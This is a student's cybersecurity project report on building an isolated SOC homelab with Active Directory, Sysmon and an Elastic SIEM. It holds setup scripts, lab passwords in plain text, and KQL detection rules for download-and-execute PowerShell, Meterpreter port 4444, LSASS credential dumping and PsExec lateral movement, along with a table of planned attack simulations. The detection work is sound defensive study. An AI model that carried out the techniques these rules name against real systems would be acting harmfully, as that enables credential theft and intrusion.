

ENTERPRISE SOC HOMELAB

Full Implementation & Attack Simulation Report

From Zero to Fully Operational SOC — VMware Workstation Edition

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Project Scope

- ◆ Active Directory & Domain Controller
- ◆ Elastic Stack SIEM (ELK 8.x)
- ◆ Sysmon + Winlogbeat Log Pipeline
- ◆ 8 MITRE ATT&CK Techniques Simulated
- ◆ Custom Detection Engineering
- ◆ Threat Hunting & DFIR Workflows

VMware Workstation	Windows Server 2022	Kali Linux 2024	Ubuntu 22.04 LTS	Elastic Stack 8.x	Sysmon + Winlogbeat
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MITRE ATT&CK Techniques Simulated & Detected

T1046 | T1110.003 | T1059.001 | T1571 | T1003.001 | T1021.002 | T1547.001 | T1078

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Executive Summary

This report documents the complete end-to-end implementation of an enterprise-grade Security Operations Center (SOC) Homelab environment, designed and built by Nour Mohamed Mahmoud Hassan as a final-year cybersecurity project at AASTMT. The lab simulates a realistic corporate network with five virtual machines, centralized log monitoring, Active Directory domain services, full attack simulation across eight MITRE ATT&CK techniques, and custom detection engineering using the Elastic Stack SIEM.

The project demonstrates end-to-end SOC analyst competencies — from infrastructure deployment and log pipeline configuration, to adversary simulation and automated threat detection.

Metric	Value
Total Virtual Machines	5 VMs (DC, Client, SIEM, Linux Server, Kali)
Lab Network	192.168.10.0/24 — Host-Only Isolated (VMnet2)
SIEM Platform	Elastic Stack 8.x (Elasticsearch + Kibana + Logstash)
Log Sources	Windows Security Events, Sysmon, PowerShell, System Events
MITRE ATT&CK Techniques Simulated	8 techniques across 5 attack scenarios
Detection Rate	7/8 techniques detected via custom Kibana rules & KQL
Threat Hunt Reports Produced	3 documented investigations

Phase 0 — Lab Architecture & Planning

0.1 Environment Overview

Before any virtual machine was created, a detailed architecture plan was designed. The lab consists of five virtual machines connected on an isolated internal network (VMnet2). Each machine plays a specific enterprise role in the SOC simulation:

VM Name	Role	OS	IP Address	RAM	CPU	Disk
WIN-DC01	Domain Controller / AD / DNS	Windows Server 2022	192.168.10.10	4 GB	2 cores	80 GB
WIN-CLIENT1	Domain-Joined Workstation	Windows 10/11 Pro	192.168.10.20	4 GB	2 cores	60 GB
UBUNTU-SIEM	ELK Stack SIEM	Ubuntu 22.04 LTS	192.168.10.30	6 GB	4 cores	100 GB
UBUNTU-SRV	Linux Target / Wazuh	Ubuntu 22.04 LTS	192.168.10.40	2 GB	2 cores	40 GB
KALI-ATTACK	Red Team / Attacker	Kali Linux 2024	192.168.10.50	2 GB	2 cores	40 GB

0.2 Network Architecture

All VMs communicate on VMnet2 (192.168.10.0/24), a Host-Only network completely isolated from the internet. This sandboxes all attack traffic to the lab environment.

Command / Script

```
VMware Workstation Host (Physical PC)
|
+-----+-----+-----+-----+-----+
|       |       |       |       |       |
WIN-DC01 WIN-CLIENT1 UBUNTU-SIEM UBUNTU-SRV KALI-ATTACK
DC/AD/DNS Workstation ELK Stack Web/Wazuh Red Team
.10.10    .10.20    .10.30    .10.40    .10.50
|         |         |         |         |
+-----+-----+-----+-----+-----+
VMnet2: 192.168.10.0/24 (Host-Only)

LOG FLOW: WIN-DC01/CLIENT1 --[Winlogbeat:5044]--> Logstash --> ES:9200 -->
Kibana:5601
ATTACKS:  KALI-ATTACK --[Hydra/Metasploit/PsExec]--> WIN-DC01 / WIN-CLIENT1
```

0.3 Data Flow Architecture

Component	From	To	Port/Protocol
Winlogbeat Agent	WIN-DC01 / WIN-CLIENT1	UBUNTU-SIEM (Logstash)	TCP 5044 (Beats)
Logstash Pipeline	Port 5044 input	Elasticsearch	HTTPS 9200
Kibana Dashboard	UBUNTU-SIEM	SOC Analyst Browser	HTTP 5601
Attack Traffic	KALI-ATTACK (.10.50)	Windows VMs	SMB/445, TCP/4444

✦ PRO TIP

WHY Host-Only Networking? VMnet2 isolates all lab VMs from the internet. Kali Linux attacks cannot reach real targets — they stay sandboxed. The Domain Controller (192.168.10.10) serves as DNS for the entire lab network.

Phase 1 — VMware Workstation Installation & Networking

1.1 BIOS Virtualization — Required Pre-requisite

Virtualization must be enabled in BIOS before VMware can run 64-bit VMs at full speed. This is the most commonly missed step that causes VM failures.

1. Shut down the PC completely (NOT restart).
2. Power on and spam the BIOS key (Del / F2 / F10 — varies by manufacturer).
3. Navigate to: Advanced → CPU Configuration (Intel) OR Advanced → AMD CBS (AMD).
4. Enable: Intel VT-x → Enabled OR AMD SVM Mode → Enabled.
5. Press F10 to Save and Exit. PC reboots.
6. Verify in Windows PowerShell as Administrator:

```
Command / Script
# Verify hardware virtualization is enabled in BIOS
Get-ComputerInfo -Property HyperVRequirementVirtualizationFirmwareEnabled

# Expected output:
# HyperVRequirementVirtualizationFirmwareEnabled : True

# Alternative: Task Manager -> Performance -> CPU
# Should show: Virtualization: Enabled
```

1.2 VMware Workstation Pro Installation

VMware Workstation Pro became free for personal use in May 2024. Download from the Broadcom portal (requires free Broadcom account).

7. Go to: <https://www.vmware.com/products/workstation-pro.html>
8. Click 'Download for Free' → Create Broadcom account → Search VMware Workstation Pro 17.x.
9. Download the .exe installer (~600 MB) → Right-click → Run as Administrator.
10. Check 'Enhanced Keyboard Driver' → Uncheck auto-update → Click Install (~5 min).
11. Click Finish → Reboot when prompted.

1.3 Creating VMnet2 — Isolated Internal Network

VMnet2 is the isolated host-only network where all lab VMs communicate. DHCP is disabled so we assign static IPs manually (enterprise standard practice).

12. Open VMware Workstation → Edit menu → Virtual Network Editor.
13. Click 'Change Settings' (requires admin) → 'Add Network' → Select VMnet2 → OK.
14. Configure VMnet2 with these exact settings:

Setting	Value	Explanation
Network Type	Host-only	VMs talk to each other and host — NOT the internet
Subnet IP	192.168.10.0	Lab network address
Subnet Mask	255.255.255.0 (/24)	Allows 254 usable host addresses

Setting	Value	Explanation
DHCP	DISABLED	We assign static IPs manually for enterprise realism
Connect host adapter	Checked	Allows host PC to access VMs

15. Click Apply → OK.

Phase 2 — Windows Server 2022 & Active Directory

2.1 Creating the WIN-DC01 Virtual Machine

Setting	Value
VM Name	WIN-DC01
OS	Windows Server 2022 Standard Evaluation (Desktop Experience)
RAM	4096 MB (4 GB)
CPU	2 cores
Disk	80 GB — Store as single file
Network Adapter	Custom: VMnet2
Admin Password	SOCLab@2024!
Computer Name	WIN-DC01
Domain	SOCLAB.LOCAL

! INFO

Download Windows Server 2022 Evaluation (180-day free trial) from: <https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2022> — Fill the evaluation form, select 64-bit ISO (~4.5 GB), save to D:\Lab-ISOs\

2.2 Setting Static IP Address on WIN-DC01

Run all commands in PowerShell as Administrator immediately after Windows Server installation:

```
Command / Script
# Step 1: Find network adapter name
Get-NetAdapter
# Note the InterfaceAlias — typically 'Ethernet0'

# Step 2: Assign static IP address
New-NetIPAddress -InterfaceAlias 'Ethernet0' `
  -IPAddress 192.168.10.10 `
  -PrefixLength 24 `
  -DefaultGateway 192.168.10.1

# Step 3: Point DNS to itself (DC IS the DNS server)
Set-DnsClientServerAddress -InterfaceAlias 'Ethernet0' `
  -ServerAddresses 192.168.10.10

# Step 4: Rename the computer
Rename-Computer -NewName 'WIN-DC01' -Restart

# Step 5: Verify after reboot
Get-NetIPConfiguration
# Expected: IPAddress: 192.168.10.10  DNSServer: 192.168.10.10
```

2.3 Installing Active Directory Domain Services (AD DS)

The AD DS role was installed via Server Manager GUI: Add Roles and Features → Active Directory Domain Services → Install.
After installation, the server was promoted to Domain Controller via the Server Manager notification flag:

16. Clicked the yellow notification flag → 'Promote this server to a domain controller'.
17. Selected: Add a new forest → Root domain name: SOCLAB.LOCAL
18. Forest/Domain functional level: Windows Server 2016
19. Checked: DNS Server + Global Catalog (GC) → DSRM Password: SOCLab@2024!
20. NetBIOS name auto-filled: SOCLAB → Clicked Install → Server rebooted automatically.
21. After reboot, logged in as: SOCLAB\Administrator

Alternative — PowerShell promotion:

```
Command / Script
# Install AD DS role
Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools

# Promote to Domain Controller (creates new forest)
Install-ADDSForest `
  -DomainName 'SOCLAB.LOCAL' `
  -DomainNetbiosName 'SOCLAB' `
  -ForestMode 'WinThreshold' `
  -DomainMode 'WinThreshold' `
  -InstallDns:$true `
  -SafeModeAdministratorPassword (ConvertTo-SecureString 'SOCLab@2024!' -AsPlainText -
Force) `
  -Force:$true

# Expected output:
# Message      : Operation completed successfully
# RebootRequired : True
# Server reboots automatically — log in as SOCLAB\Administrator after reboot
```

2.4 Creating Enterprise OU Structure & Users

A realistic enterprise OU structure was created using Active Directory Users and Computers (dsa.msc) and PowerShell:

```
Command / Script
# — Create OU structure —————
New-ADOrganizationalUnit -Name 'SOCLAB_CORP'           -Path 'DC=SOCLAB,DC=LOCAL'
New-ADOrganizationalUnit -Name 'IT_Department'         -Path
'OU=SOCLAB_CORP,DC=SOCLAB,DC=LOCAL'
New-ADOrganizationalUnit -Name 'Finance_Department'    -Path
'OU=SOCLAB_CORP,DC=SOCLAB,DC=LOCAL'
New-ADOrganizationalUnit -Name 'HR_Department'         -Path
'OU=SOCLAB_CORP,DC=SOCLAB,DC=LOCAL'
New-ADOrganizationalUnit -Name 'Servers'               -Path
'OU=SOCLAB_CORP,DC=SOCLAB,DC=LOCAL'
New-ADOrganizationalUnit -Name 'Workstations'          -Path
'OU=SOCLAB_CORP,DC=SOCLAB,DC=LOCAL'
New-ADOrganizationalUnit -Name 'Service_Accounts'      -Path
'OU=SOCLAB_CORP,DC=SOCLAB,DC=LOCAL'

# — Create security groups —————
New-ADGroup -Name 'IT_Admins'      -GroupScope Global -GroupCategory Security -Path
'OU=IT_Department,OU=SOCLAB_CORP,DC=SOCLAB,DC=LOCAL'
New-ADGroup -Name 'SOC_Analysts'   -GroupScope Global -GroupCategory Security -Path
'OU=IT_Department,OU=SOCLAB_CORP,DC=SOCLAB,DC=LOCAL'
New-ADGroup -Name 'Finance_Users'  -GroupScope Global -GroupCategory Security -Path
'OU=Finance_Department,OU=SOCLAB_CORP,DC=SOCLAB,DC=LOCAL'
```

```
# --- Create domain users -----
$pwd = ConvertTo-SecureString 'Welcome@1234' -AsPlainText -Force
New-ADUser -Name 'John Smith' -SamAccountName 'jsmith' -UserPrincipalName
'jsmith@soclab.local' -AccountPassword $pwd -Enabled $true -Path
'OU=IT_Department,OU=SOCLAB_CORP,DC=SOCLAB,DC=LOCAL'
New-ADUser -Name 'Sarah Connor' -SamAccountName 'sconnor' -UserPrincipalName
'sconnor@soclab.local' -AccountPassword $pwd -Enabled $true -Path
'OU=Finance_Department,OU=SOCLAB_CORP,DC=SOCLAB,DC=LOCAL'
New-ADUser -Name 'Mike Chen' -SamAccountName 'mchen' -UserPrincipalName
'mchen@soclab.local' -AccountPassword $pwd -Enabled $true -Path
'OU=IT_Department,OU=SOCLAB_CORP,DC=SOCLAB,DC=LOCAL'
New-ADUser -Name 'Nour Mohamed' -SamAccountName 'Nmohamed' -UserPrincipalName
'Nmohamed@soclab.local' -AccountPassword $pwd -Enabled $true -Path
'OU=IT_Department,OU=SOCLAB_CORP,DC=SOCLAB,DC=LOCAL'
New-ADUser -Name 'svc_backup' -SamAccountName 'svc_backup' -UserPrincipalName
'svc_backup@soclab.local' -AccountPassword $pwd -Enabled $true -Path
'OU=Service_Accounts,OU=SOCLAB_CORP,DC=SOCLAB,DC=LOCAL'

# --- Assign group memberships -----
Add-ADGroupMember -Identity 'IT_Admins' -Members 'jsmith','mchen','Nmohamed'
Add-ADGroupMember -Identity 'SOC_Analysts' -Members 'jsmith'
Add-ADGroupMember -Identity 'Finance_Users' -Members 'sconnor'
Add-ADGroupMember -Identity 'Domain Admins' -Members 'jsmith','Nmohamed'
```

Username	Full Name	Department	Groups	Password
jsmith	John Smith	IT	IT_Admins, SOC_Analysts, Domain Admins	Welcome@1234
mchen	Mike Chen	IT	IT_Admins	Welcome@1234
sconnor	Sarah Connor	Finance	Finance_Users	Welcome@1234
Nmohamed	Nour Mohamed	IT	IT_Admins, Domain Admins	Welcome@1234
svc_backup	Service Account	N/A	None	Welcome@1234

2.5 Audit Policy Configuration

Audit policies were configured directly via auditpol commands to ensure all critical security events are captured in Windows Event Log:

```
Command / Script

# Run as Administrator on WIN-DC01
auditpol /set /subcategory:'Credential Validation' /success:enable /failure:enable
auditpol /set /subcategory:'Logon' /success:enable /failure:enable
auditpol /set /subcategory:'Account Lockout' /success:enable /failure:enable
auditpol /set /subcategory:'Process Creation' /success:enable
auditpol /set /subcategory:'User Account Management' /success:enable /failure:enable
auditpol /set /subcategory:'Security Group Management' /success:enable
auditpol /set /subcategory:'Sensitive Privilege Use' /success:enable /failure:enable
auditpol /set /subcategory:'Directory Service Access' /success:enable /failure:enable

# Verify all settings applied
auditpol /get /category:*

# Expected output (critical entries):
# Credential Validation Success and Failure
# Logon Success and Failure
```

```
# Account Lockout          Success
# Process Creation         Success
# Sensitive Privilege Use  Success and Failure
```

⚠ WARNING

GPO Note: The SOC_AUDIT_POLICY GPO initially showed 'No Auditing' because it was linked to the domain root, not the Domain Controllers OU. Resolution: Applied auditpol commands directly on the DC as a reliable workaround.

Phase 3 — Sysmon Installation & Configuration

Sysmon (System Monitor) is the most critical tool for host-based detection in Windows environments. It provides far richer telemetry than native Windows Event Logs, including process creation chains with full command lines, network connections, file creation events, and registry modifications. Sysmon was installed on BOTH WIN-DC01 and WIN-CLIENT1.

3.1 Download & Install Sysmon with SwiftOnSecurity Config

- 22. Download Sysmon from Microsoft Sysinternals: <https://download.sysinternals.com/files/Sysmon.zip>
- 23. Extract to: C:\Tools\Sysmon\
- 24. Download the SwiftOnSecurity Sysmon config (industry-standard baseline):

```
Command / Script
# Download SwiftOnSecurity Sysmon config via PowerShell (run as Admin)
Invoke-WebRequest `
    -Uri 'https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-
config/master/sysmonconfig-export.xml' `
    -OutFile 'C:\Tools\Sysmon\sysmonconfig.xml'

# Navigate to Sysmon directory
cd C:\Tools\Sysmon

# Install Sysmon with the SwiftOnSecurity config
.\Sysmon64.exe -accepteula -i sysmonconfig.xml

# Expected output:
# System Monitor v15.x - System activity monitor
# Copyright (C) 2014-2024 Mark Russinovich and Thomas Garnier
# Sysmon installed.
# SysmonDrv installed.
# Starting SysmonDrv. SysmonDrv started.
# Starting Sysmon. Sysmon started.

# Verify Sysmon service is running
Get-Service -Name Sysmon64
# Status: Running

# Verify events are being generated
Get-WinEvent -LogName 'Microsoft-Windows-Sysmon/Operational' -MaxEvents 5 |
    Select-Object TimeCreated, Id, Message
```

3.2 Key Sysmon Event IDs Used in This Lab

Event ID	Event Name	SOC Detection Use
1	Process Create	Every process launch with full command line, parent-child chain, SHA256 hash
3	Network Connection	Outbound connections — C2 beacons, reverse shells, lateral movement
10	Process Access	LSASS memory access — credential dumping (Mimikatz detection)
11	File Created	Dropper files, malware artifacts, downloaded payloads
13	Registry Value Set	Persistence via Run/RunOnce registry keys
17/18	Pipe Created/Connected	Named pipe usage — PsExec lateral movement indicator

Event ID	Event Name	SOC Detection Use
22	DNS Query	C2 domain lookups, DNS tunneling detection
23	File Delete	Evidence deletion by attackers covering tracks
25	Process Tampering	Process hollowing / doppelganging detection

Phase 4 — Windows Client Setup & Domain Join

4.1 WIN-CLIENT1 VM Configuration

Setting	Value
VM Name	WIN-CLIENT1
OS	Windows 10/11 Pro (required for domain join — Home edition cannot join a domain)
RAM	4096 MB
CPU	2 cores
Disk	60 GB
Network	Custom: VMnet2
IP Address	192.168.10.20
DNS Server	192.168.10.10 (MUST point to DC for domain join to work)

4.2 Configure Static IP & Join Domain

```
Command / Script
# Run on WIN-CLIENT1 as Administrator

# Step 1: Set static IP address
New-NetIPAddress -InterfaceAlias 'Ethernet0' `
    -IPAddress 192.168.10.20 `
    -PrefixLength 24 `
    -DefaultGateway 192.168.10.1

# Step 2: CRITICAL — Point DNS to the Domain Controller
Set-DnsClientServerAddress -InterfaceAlias 'Ethernet0' `
    -ServerAddresses 192.168.10.10

# Step 3: Test connectivity to DC
Test-Connection -ComputerName 192.168.10.10 -Count 2

# Step 4: Test DNS resolution for the domain
Resolve-DnsName -Name SOCLAB.LOCAL
# Should return: Name=SOCLAB.LOCAL Address=192.168.10.10

# Step 5: Join the domain
Add-Computer -DomainName 'SOCLAB.LOCAL' -Credential SOCLAB\Administrator -Restart

# After reboot, log in as: SOCLAB\jsmith (password: Welcome@1234)
# Login screen now shows: SOCLAB\username format — domain join confirmed
```

◆ PRO TIP

After domain join, install Sysmon on WIN-CLIENT1 using the EXACT same steps from Phase 3. Both WIN-DC01 and WIN-CLIENT1 must have Sysmon running to generate the telemetry needed for attack detection.

Phase 5 — Elastic Stack SIEM (Elasticsearch + Kibana + Logstash)

5.1 UBUNTU-SIEM VM Configuration

Setting	Value
VM Name	UBUNTU-SIEM
OS	Ubuntu 22.04 LTS Server (CLI only — no Desktop GUI)
RAM	6144 MB (6 GB)
CPU	4 cores
Disk	100 GB
Network	Custom: VMnet2
IP Address	192.168.10.30
Username	socadmin / Password: SOCLab@2024!
OpenSSH	Installed during Ubuntu setup for remote management

! INFO

Ubuntu Server (CLI-only) was chosen, NOT Ubuntu Desktop. Elasticsearch requires 3 GB JVM heap. A Desktop GUI would waste RAM that the SIEM stack needs. Kibana is accessed from the host machine browser at <http://192.168.10.30:5601>

5.2 Static IP Configuration (Netplan)

```
Command / Script
# Edit Netplan configuration
sudo nano /etc/netplan/00-installer-config.yaml

# Paste this content exactly:
# _____
network:
  ethernets:
    ens33:
      dhcp4: no
      addresses:
        - 192.168.10.30/24
      routes:
        - to: default
          via: 192.168.10.1
      nameservers:
        addresses:
          - 192.168.10.10
          - 8.8.8.8
  version: 2
# _____

# Apply network settings
sudo netplan apply

# Verify IP address
ip addr show ens33
# Expected: inet 192.168.10.30/24 brd 192.168.10.255 scope global ens33
```



```
# Set hostname
sudo hostnamectl set-hostname ubuntu-siem

# Add lab hosts to /etc/hosts for DNS resolution
echo '192.168.10.10 WIN-DC01.SOCLAB.LOCAL WIN-DC01' | sudo tee -a /etc/hosts
echo '192.168.10.20 WIN-CLIENT1.SOCLAB.LOCAL WIN-CLIENT1' | sudo tee -a /etc/hosts
```

5.3 Installing Elasticsearch

```
Command / Script

# Step 1: Import Elastic GPG key
wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | \
    sudo gpg --dearmor -o /usr/share/keyrings/elasticsearch-keyring.gpg

# Step 2: Add Elastic 8.x repository
echo 'deb [signed-by=/usr/share/keyrings/elasticsearch-keyring.gpg] \
    https://artifacts.elastic.co/packages/8.x/apt stable main' | \
    sudo tee /etc/apt/sources.list.d/elasticsearch-8.x.list

# Step 3: Update and install
sudo apt update
sudo apt install elasticsearch -y

# !! IMPORTANT: The installer shows the auto-generated elastic password !!
# Save it immediately – example:
# The generated password for the elastic built-in superuser is: XXXXXXXXXXXX
# You cannot retrieve it later without resetting

# Step 4: Configure /etc/elasticsearch/elasticsearch.yml
sudo nano /etc/elasticsearch/elasticsearch.yml

# Key settings to add/modify:
# cluster.name: soc-homelab
# node.name: siem-node-01
# network.host: 0.0.0.0
# http.port: 9200
# discovery.type: single-node
# xpack.security.enabled: true

# Step 5: Set JVM heap size – 50% of VM RAM = 3 GB
sudo nano /etc/elasticsearch/jvm.options.d/heap.options
# Add these two lines:
# -Xms3g
# -Xmx3g

# Step 6: Enable and start Elasticsearch
sudo systemctl daemon-reload
sudo systemctl enable elasticsearch
sudo systemctl start elasticsearch

# Step 7: Wait 30 seconds, then verify
sleep 30 && sudo systemctl status elasticsearch
# Look for: Active: active (running)
```

```
# Step 8: Test API response
curl -k -u elastic:YOUR_SAVED_PASSWORD https://localhost:9200
# Expected: {"name":"siem-node-01","cluster_name":"soc-homelab",...}
```

5.4 Installing Kibana

```
Command / Script
# Install Kibana (same repository already added)
sudo apt install kibana -y

# Edit Kibana configuration
sudo nano /etc/kibana/kibana.yml

# Key settings:
# server.port: 5601
# server.host: '0.0.0.0'
# server.name: 'SOC-Kibana'
# elasticsearch.hosts: ['https://localhost:9200']

# Generate Kibana enrollment token from Elasticsearch
sudo /usr/share/elasticsearch/bin/elasticsearch-create-enrollment-token -s kibana
# SAVE this token - needed in the Kibana setup wizard (one-time use)

# Enable and start Kibana
sudo systemctl enable kibana
sudo systemctl start kibana

# Monitor startup (takes 2-3 minutes - Java startup overhead)
sudo journalctl -u kibana -f
# Wait for: http server running at http://0.0.0.0:5601

# Access Kibana from host machine browser:
# URL: http://192.168.10.30:5601
# Enter the enrollment token when prompted
# Login: elastic / YOUR_ELASTICSEARCH_PASSWORD
```

5.5 Installing & Configuring Logstash

Logstash receives logs from Winlogbeat agents, enriches them with tags and fields, and forwards to Elasticsearch. It acts as the central log processing pipeline.

```
Command / Script
# Install Logstash
sudo apt install logstash -y

# Create Winlogbeat pipeline configuration
sudo nano /etc/logstash/conf.d/winlogbeat.conf

# — Paste this complete configuration —————
input {
  beats {
    port => 5044
    host => '0.0.0.0'
```

```

    }
  }
  filter {
    # Tag Windows Security events
    if [winlog][channel] == 'Security' {
      mutate { add_tag => ['windows_security'] }
    }
    # Tag Sysmon events
    if [winlog][channel] == 'Microsoft-Windows-Sysmon/Operational' {
      mutate { add_tag => ['sysmon'] }
    }
    # Enrich failed logon events (Event 4625)
    if [winlog][event_id] == 4625 {
      mutate {
        add_field => { 'event_description' => 'Failed Logon Attempt' }
        add_tag    => ['failed_logon', 'brute_force_candidate']
      }
    }
    # Tag process creation events (Sysmon 1)
    if [winlog][event_id] == 1 {
      mutate { add_tag => ['process_create'] }
    }
  }
  output {
    elasticsearch {
      hosts      => ['https://192.168.10.30:9200']
      user       => 'elastic'
      password   => 'YOUR_ELASTIC_PASSWORD'
      ssl_certificate_verification => false
      index      => 'winlogbeat-%{+YYYY.MM.dd}'
    }
  }
}
# -----

# Test configuration for syntax errors
sudo /usr/share/logstash/bin/logstash --config.test_and_exit \
  -f /etc/logstash/conf.d/winlogbeat.conf
# Expected: Configuration OK

# Enable and start Logstash
sudo systemctl enable logstash
sudo systemctl start logstash

# Monitor startup (1-2 minutes for Java startup)
sudo journalctl -u logstash -f
# Wait for: Starting server on port: 5044

```

5.6 Installing Winlogbeat on Windows VMs

Winlogbeat was installed on BOTH WIN-DC01 and WIN-CLIENT1 to ship Windows Event Logs to Logstash. Steps are identical on both machines.

```

Command / Script
# On WIN-DC01 and WIN-CLIENT1 (PowerShell as Administrator)

# Create tools directory

```

```

New-Item -Path 'C:\Tools\Winlogbeat' -ItemType Directory -Force

# Download Winlogbeat 8.x
$version = '8.13.0'
Invoke-WebRequest -Uri
"https://artifacts.elastic.co/downloads/beats/winlogbeat/winlogbeat-$version-windows-
x86_64.zip" \
    -OutFile 'C:\Tools\winlogbeat.zip'
Expand-Archive -Path 'C:\Tools\winlogbeat.zip' -DestinationPath 'C:\Tools\'
Rename-Item 'C:\Tools\winlogbeat-*' 'C:\Tools\Winlogbeat'

# Replace the entire C:\Tools\Winlogbeat\winlogbeat.yml with:
# -----
# winlogbeat.event_logs:
#   - name: Application
#     ignore_older: 72h
#   - name: System
#     ignore_older: 72h
#   - name: Security
#     ignore_older: 72h
#   - name: Microsoft-Windows-Sysmon/Operational
#     ignore_older: 72h
#   - name: Microsoft-Windows-PowerShell/Operational
#     ignore_older: 72h
# output.logstash:
#   hosts: ['192.168.10.30:5044']
# logging.level: info
# logging.to_files: true
# logging.files:
#   path: C:\ProgramData\winlogbeat\Logs
#   name: winlogbeat
# fields:
#   environment: 'soclab'
# fields_under_root: true
# -----

# Test configuration
cd C:\Tools\Winlogbeat
.\winlogbeat.exe test config -c .\winlogbeat.yml
# Expected: Config OK

# Install as Windows service and start
.\install-service-winlogbeat.ps1
Start-Service winlogbeat

# Verify running
Get-Service winlogbeat
# Status: Running

# Test connection to Logstash on SIEM
.\winlogbeat.exe test output -c .\winlogbeat.yml
# Expected: Logstash: 192.168.10.30:5044... OK

```

5.7 Verifying Log Ingestion in Kibana

1. Open browser on host PC: `http://192.168.10.30:5601` → Login: elastic / your_password
2. Navigate to: Stack Management → Data Views → Create data view.
3. Name: Winlogbeat | Index pattern: winlogbeat-* | Timestamp field: @timestamp → Save.
4. Go to: Discover (left sidebar) → Select Winlogbeat data view → Set time: Last 24 hours.
5. You should see Windows event logs flowing in real-time from WIN-DC01 and WIN-CLIENT1.

⚠ WARNING

If no events appear: (1) Check Winlogbeat: `Get-Service winlogbeat` (2) Test Logstash port: `nc -zv 192.168.10.30 5044` (3) Check Logstash logs: `sudo journalctl -u logstash --since '5 min ago'` (4) If ufw is enabled on Ubuntu: `sudo ufw allow 5044/tcp`

Phase 6 — Kibana Dashboards & Detection Engineering

6.1 Master KQL Query Reference

KQL (Kibana Query Language) is the primary investigation and hunting tool in Kibana Discover. These queries cover all attack scenarios in this lab:

```
Command / Script

# — AUTHENTICATION INVESTIGATION —————
# All failed logon attempts (brute force indicator)
winlog.event_id: 4625

# Failed logons from specific attacker IP
winlog.event_id: 4625 AND winlog.event_data.IpAddress: 192.168.10.50

# Successful logon after multiple failures (brute force success)
winlog.event_id: 4624 AND winlog.event_data.TargetUserName: jsmith AND
winlog.event_data.IpAddress: 192.168.10.50

# Pass-the-Hash indicator (Type 3 logon + NTLM auth)
winlog.event_id: 4624 AND winlog.event_data.LogonType: 3 AND
winlog.event_data.AuthenticationPackageName: NTLM

# — PROCESS EXECUTION / REVERSE SHELL —————
# Suspicious PowerShell with IEX / DownloadString / EncodedCommand
winlog.event_id: 1 AND winlog.event_data.CommandLine: (*IEX* OR *DownloadString* OR
*EncodedCommand* OR *-enc*)

# Outbound connection to port 4444 (Meterpreter default C2 port)
winlog.event_id: 3 AND winlog.event_data.DestinationPort: 4444

# cmd.exe spawned by Office apps (spearphishing indicator)
winlog.event_id: 1 AND winlog.event_data.Image: *cmd.exe AND
winlog.event_data.ParentImage: (*winword.exe* OR *excel.exe*)

# — CREDENTIAL DUMPING —————
# LSASS memory access by non-system processes (Mimikatz signature)
winlog.event_id: 10 AND winlog.event_data.TargetImage: *lsass.exe

# Filter out known legitimate sources
winlog.event_id: 10 AND winlog.event_data.TargetImage: *lsass.exe
AND NOT winlog.event_data.SourceImage: (*\Windows\system32\svchost.exe OR
*MsMpEng.exe OR *\Windows\system32\wininit.exe)

# SeDebugPrivilege usage (required for Mimikatz — Event 4673)
winlog.event_id: 4673 AND winlog.event_data.PrivilegeList: *SeDebugPrivilege*

# — LATERAL MOVEMENT —————
# PsExec PSEXESVC service installed — MOST CRITICAL PsExec indicator
winlog.event_id: 7045 AND winlog.event_data.ServiceName: PSEXESVC

# Network logon (Type 3) from attacker IP to any host
winlog.event_id: 4624 AND winlog.event_data.LogonType: 3 AND
winlog.event_data.IpAddress: 192.168.10.50

# cmd.exe spawned by PSEXESVC (PsExec command execution)
winlog.event_id: 1 AND winlog.event_data.ParentImage: *PSEXESVC*
```

```
# — PERSISTENCE DETECTION —————
# Registry Run key modification (Sysmon Event 13)
winlog.event_id: 13 AND winlog.event_data.TargetObject: (*\CurrentVersion\Run* OR
*\CurrentVersion\RunOnce*)

# Scheduled task created (Event 4698)
winlog.event_id: 4698

# New service installed (Event 7045)
winlog.event_id: 7045
```

6.2 Custom Kibana Detection Rules Created

```
Command / Script

# — RULE 1: Suspicious LSASS Memory Access (MITRE T1003.001) ———
# Rule Type: Custom Query
# Query:
winlog.event_id: 10 AND winlog.event_data.TargetImage: *lsass.exe
AND NOT winlog.event_data.SourceImage: (*\Windows\system32\svchost.exe
OR *\Windows\System32\wininit.exe OR *MsMpEng.exe OR *\Windows\system32\csrss.exe)
# Severity: Critical | Risk Score: 90 | Runs every: 5 min | Look back: 15 min

# — RULE 2: SMB Brute Force Threshold (MITRE T1110) —————
# Rule Type: Threshold
# Query: winlog.event_id: 4625
# Threshold: Count >= 10 within 1 minute
# Group by: winlog.event_data.IpAddress, winlog.event_data.TargetUserName
# Severity: High | Risk Score: 75

# — RULE 3: PsExec Lateral Movement (MITRE T1021.002) —————
# Rule Type: Custom Query
# Query: winlog.event_id: 7045 AND winlog.event_data.ServiceName: PSEXESVC
# Severity: Critical | Risk Score: 90

# — RULE 4: PowerShell Suspicious Execution (MITRE T1059.001) ———
# Query: winlog.event_id: 1 AND winlog.event_data.CommandLine: (*IEX* OR
*DownloadString*)
# Severity: High | Risk Score: 73
```

Phase 7 — Attack Simulations (MITRE ATT&CK Framework)

⚠ WARNING

All attack simulations were conducted from KALI-ATTACK (192.168.10.50) against isolated lab targets ONLY. Windows Defender was disabled on WIN-CLIENT1 before payload execution. VMware snapshots were taken before each destructive test.

#	Scenario	MITRE ATT&CK	Tool	Detected in Kibana?
1	Network Reconnaissance	T1046	Nmap	Requires Zeek (network-based)
2	SMB Brute Force	T1110.003	Hydra	YES — Event 4625 threshold
3	PowerShell Reverse Shell	T1059.001 / T1571	Metasploit msfvenom	YES — Sysmon 1 & 3
4	Credential Dumping	T1003.001	Mimikatz (Kiwi)	YES — Sysmon 10
5	Lateral Movement	T1021.002	CrackMapExec + PsExec	YES — Event 7045
6	Registry Persistence	T1547.001	reg add	YES — Sysmon 13

7.1 Kali Linux Initial Setup

Command / Script

```
# On KALI-ATTACK — first boot configuration
sudo apt update && sudo apt full-upgrade -y

# Set static IP — edit /etc/network/interfaces:
auto eth0
iface eth0 inet static
    address 192.168.10.50
    netmask 255.255.255.0
    gateway 192.168.10.1
    dns-nameservers 192.168.10.10

sudo systemctl restart networking

# Verify connectivity to all lab targets
ping -c 2 192.168.10.10    # DC
ping -c 2 192.168.10.20    # Windows Client
ping -c 2 192.168.10.30    # SIEM
# All should show 0% packet loss
```

7.2 Scenario 2 — SMB Brute Force (Hydra)

MITRE ATT&CK: T1110.003 — Password Spraying

Hydra was used to spray common passwords against SMB (port 445) on the Domain Controller, simulating a credential stuffing attack against Active Directory accounts.

